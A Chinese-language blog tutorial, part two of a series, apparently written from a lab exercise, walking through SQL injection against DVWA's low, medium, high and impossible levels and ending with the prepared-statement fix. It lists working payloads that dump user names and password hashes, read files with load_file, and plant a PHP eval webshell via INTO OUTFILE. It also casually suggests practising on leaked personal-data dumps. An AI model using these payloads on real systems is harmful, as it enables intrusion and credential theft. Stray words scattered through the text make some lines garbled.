sql注入搞事情(連載二)

sql注入(連載二)安信華web弱點測試系統注入

好多人問我sql怎麼學習,我一下也說不出來。我就在此作統一的解答:
sql語句分爲兩種,無論怎麼用仍是怎麼學習主要是要理解SQL語句的基本概念,框架,原理和解決問題的思路。具體要學的的數據庫是一門比較系統的學問感興趣的能夠專門去研究它。因此這也又說明了Web安全是要有必定的開發基礎的,一個好的web安全工程師實際上也是一個全棧工程師。php

至於我本身就是本身搭建一個庫,慢慢訓練着玩。並且如今網上爆出的社工庫那麼多本身隨變練練足夠用了。前端

一.sql注入(low)

同樣的思路先嚐試是否有注入點既然是簡單模式那就直接輸入mysql

1'

結果回顯web

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1

注意sql

''1'''

可判斷是mysql注入並且有字符型注入點,接下來嘗試注入
嘗試遍歷shell

1'or'1'='1

圖片1數據庫

分析一下緣由安全

"SELECT first_name, last_name FROM users WHERE user_id = '1'or'1'='1' "

字符型構造的字符1永遠相等,結果返回全部的firstname和lastnamesession

2.猜信息列數(order by)

1'order by 1 --

注意--後面有空格
返回正常框架

圖片2

當輸入

1'order by 3 --

報錯沒有該列,
因此猜得有兩個列

3.猜數據庫帳戶信息、數據庫名稱、數據庫版本信息(利用database,user,version函數)

1' and 1=2 union select 1,2 --

返回

ID: 1' and 1=2 union select 1,2 -- 
First name: 1
Surname: 2

從而得出First name處顯示結果爲查詢結果第一列的值,surname處顯示結果爲查詢結果第二列的值,

4.利用內置函數user(),及database(),version()注入得出鏈接數據庫用戶以及數據庫名稱:

1' and 1=2 union select user(),database()  --

返回

ID: 1' and 1=2 union select user(),database()  -- 
First name: root@localhost
Surname: dvwa

5.獲得數據庫用戶和數據庫名稱

1'and 1=2 union select 1,@@global.version_compile_os from mysql.user --

6.得到操做系統名稱

ID: 1'and 1=2 union select 1,@@global.version_compile_os from mysql.user -- 
First name: 1
Surname: Win32

7.測試鏈接數據庫權限

1' and ord(mid(user(),1,1))=114 --

知道是admin權限

ID: 1' and ord(mid(user(),1,1))=114 --  
First name: admin
Surname: admin

8.查詢全部數據庫名稱

1' and 1=2 union select 1,schema_name from information_schema.schemata --

9.數據庫全部表

1' UNION SELECT 1,concat(table_name) from information_schema.tables where table_schema=database()--

10.猜表名

1' and exists(select * from users) --

表名爲爲admin

11.猜字段名

1' and exists(select first_name from users) --

字段名也爲admin

12.爆用戶

1' and 1=2 union select first_name,last_name from users --

13.爆用戶名密碼

1' UNION SELECT 1,concat(user,0x3a,password) from users--

獲得md5值的密碼,到pmd5解密一下就能夠獲得了

爲何要使用聯合查詢?

Union查詢結合了兩個select查詢結果,根據上文中的order by語句咱們知道查詢包含兩列,爲了可以現實兩列查詢結果,咱們須要用union查詢告終合咱們構造的另一個select.注意在使用union查詢的時候須要和主查詢的列數相同。

利用注入點讀/etc/passwd文件

使用聯合查詢語句構造,利用注入讀取c:\1.txt (Windows系統)

‘ UNION SELECT 1, load_file(‘c:\\1.txt’) +- -+        或者


‘ union select 1, load_file(‘c:\/1.txt’) +- -+

利用注入寫入webshell

假設咱們經過phpinfo文件知道了網站的物理路徑,接下來咱們經過使用union select語句來寫入webshell.寫入須要你有寫入權限等。

‘ union select 1,’<?php eval($_POST[cmd]);?>‘ INTO OUTFILE ‘/var/www/dvwa/cmd.php’ +- -+

‘ union select 1,'<?php eval($_POST[cmd]);?>’ into outfile ‘c:\\2.php’+- -+

二.sql注入(medium)數字型

爲了節約時間看看源碼

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Check database
$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . mysqli_connect_error() . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
    // Display values
    $first = $row["first_name"];
    $last  = $row["last_name"];

    // Feedback for end user
    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>

分析:以發現,這裏對用戶輸入的id參數進行了過濾,主要方法是使用了mysql_real_escape_string()函數,這個函數能夠將$id變量中的單引號’、雙引號」、斜槓\等字符進行轉義,於是咱們再輸入以前的「’or 1=1 #」就會報錯了,從錯誤提示中能夠發現單引號’已經被轉義成了’,於是注入語句沒法發揮做用。

須要說明的是,在PHP中還有一個與mysql_real_escape_string()功能相似的函數:addslashes(),這兩個函數的功能都是對特殊字符進行轉義,那麼到底用哪一個函數更好一些呢?百度了一下,發現你們也是各執一詞。有人說mysql_real_escape_string()函數須要事先鏈接數據庫,可能會報錯,因此推薦使用addslashes();也有的人說addslashes()過濾不夠嚴格,推薦使用mysql_real_escape_string()。在DVWA中很明顯是推薦使用mysql_real_escape_string(),那麼咱們就相信DVWA好了。

下面咱們分析一下這裏該如何繞過過濾,繼續進行注入呢?咱們再仔細觀察一下源碼,能夠發現參數id已經被改成了數字型,第三行語句中「user_id = $id」,而以前的low級別是「user_id = ‘$id’」,其實這就是DVWA故意留下的一個漏洞。

值得一提的是雖然前端使用了下拉選擇菜單,但咱們依然能夠經過抓包改參數,提交惡意構造的查詢參數。

1.判斷是否存在注入,注入是字符型仍是數字型

抓包更改參數id爲

1′ or 1=1 #

2.猜解SQL查詢語句中的字段數

1 order by 2 #
1 order by 3 #

3.肯定顯示的字段順序

1 union select 1,2 #

4.獲取當前數據庫

1 union select 1,database() #

5.獲取數據庫中的表

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

6.獲取表中的字段名

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #

7.下載數據

1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

其實在分析完成後和low是一個道理,因此關鍵在於怎麼繞過

三.sql注入high級別

同樣代碼審計:

<?php 

if( isset( $_SESSION [ 'id' ] ) ) { 
// Get input 
$id = $_SESSION[ 'id' ]; 

// Check database 
$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id LIMIT 1;"; 
$result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' ); 

// Get results 
$num = mysql_numrows( $result ); 
$i   = 0; 
while( $i < $num ) { 
    // Get values 
    $first = mysql_result( $result, $i, "first_name" ); 
    $last  = mysql_result( $result, $i, "last_name" ); 

    // Feedback for end user 
    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 

    // Increase loop count 
    $i++; 
} 

mysql_close(); 
} 

?>

分析:與Medium級別的代碼相比,High級別的只是在SQL查詢語句中添加了LIMIT 1,但願以此控制只輸出一個結果。然而並無什麼卵用。雖然添加了LIMIT 1,可是咱們能夠經過#將其註釋掉。因爲手工注入的過程與Low級別基本同樣。

最後

1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

值得一提的是:High級別的查詢提交頁面與查詢結果顯示頁面不是同一個,也沒有執行302跳轉,這樣作的目的是爲了防止通常的sqlmap注入,由於sqlmap在注入過程當中,沒法在查詢提交頁面上獲取查詢的結果,沒有了反饋,也就沒辦法進一步注入。

3.SQL注入impossible級

代碼審計

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input 
$id = $_GET[ 'id' ]; 

// Was a number entered? 
if(is_numeric( $id )) { 
    // Check the database 
    $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); 
    $data->bindParam( ':id', $id, PDO::PARAM_INT ); 
    $data->execute(); 
    $row = $data->fetch(); 

    // Make sure only 1 result is returned 
    if( $data->rowCount() == 1 ) { 
        // Get values 
        $first = $row[ 'first_name' ]; 
        $last  = $row[ 'last_name' ]; 

        // Feedback for end user 
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 
    } 
} 
} 

// Generate Anti-CSRF token 
generateSessionToken(); 

?>

能夠看到,Impossible級別的代碼採用了PDO技術,劃清了代碼與數據的界限,有效防護SQL注入,同時只有返回的查詢結果數量爲一時,纔會成功輸出,這樣就有效預防了「脫褲」,Anti-CSRFtoken機制的加入了進一步提升了安全性。

相關文章
相關標籤/搜索